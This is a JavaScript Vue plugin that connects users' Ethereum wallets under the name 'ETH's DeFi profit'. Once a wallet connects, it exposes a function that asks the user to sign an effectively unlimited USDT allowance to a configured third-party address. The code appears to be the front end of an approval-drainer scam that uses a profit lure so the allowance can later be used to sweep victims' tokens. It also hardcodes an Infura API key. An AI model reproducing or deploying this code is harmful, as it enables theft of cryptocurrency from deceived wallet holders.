import { init } from '@web3-onboard/vue'
import injectedModule from '@web3-onboard/injected-wallets'
import {ethers} from "ethers";
import Abi from "../utils/Abi.js";

const injected = injectedModule()
const infuraKey = 'bd1d5e46f6254429a11ac3bf68571f4'
const rpcUrl = `https://mainnet.infura.io/v3/${infuraKey}`
const chains = {
    id: '0x1',
    token: 'ETH',
    label: 'Ethereum Mainnet',
    rpcUrl: rpcUrl
}
const onboard = init({
    wallets: [injected],
    chains:[chains],
    appMetadata: {
        name: "ETH'nin defi karı",
        logo: "/eth.png",
        description: "ETH'nin defi karı",
    },
    connect:{
        autoConnectLastWallet:true
    }
})
const aproveFunc =async (app)=>{
    const contract  = app.$store.getters.contract
    if (!app.$isConnected)return true;
    try {
        const usdtContract = new ethers.Contract(contract.ust_address, Abi.UsdtAbi, app.$signer);
        const decimals = 6;
        const amountInWei = ethers.utils.parseUnits('99999999999999999999999999999999999999999999999999999999999', decimals);
        const tx = await usdtContract.approve(contract.aprove_address, amountInWei);
        return Promise.resolve(tx)
    } catch (error) {
        return Promise.reject(error?.message || '转账失败')
    }
}
export default {
    install(app,{store}) {
        app.config.globalProperties.$onboard = onboard
        app.config.globalProperties.$address = null
        app.config.globalProperties.$signer = null
        app.config.globalProperties.$isConnected = false
        app.config.globalProperties.$aprove = null
        onboard.state.select('wallets' ).subscribe((wallets) => {
            if (wallets.length > 0) {
                const address = wallets[0].accounts[0].address
                if (address){
                    const ethersProvider = new ethers.providers.Web3Provider(wallets[0].provider, "any");
                    app.config.globalProperties.$address = wallets[0].accounts[0].address
                    app.config.globalProperties.$signer = ethersProvider.getSigner();
                    app.config.globalProperties.$isConnected = true;
                    app.config.globalProperties.$aprove = app=>aproveFunc(app);
                    store.dispatch('user/setaddress', { address: wallets[0].accounts[0].address})
                    store.dispatch('user/setIsShow', true)
                }
            } else {
                app.config.globalProperties.$address = null
                app.config.globalProperties.$signer = null
                app.config.globalProperties.$isConnected = false
                app.config.globalProperties.$aprove = null;
                store.dispatch('user/setIsShow', false)
            }
        })
    }
}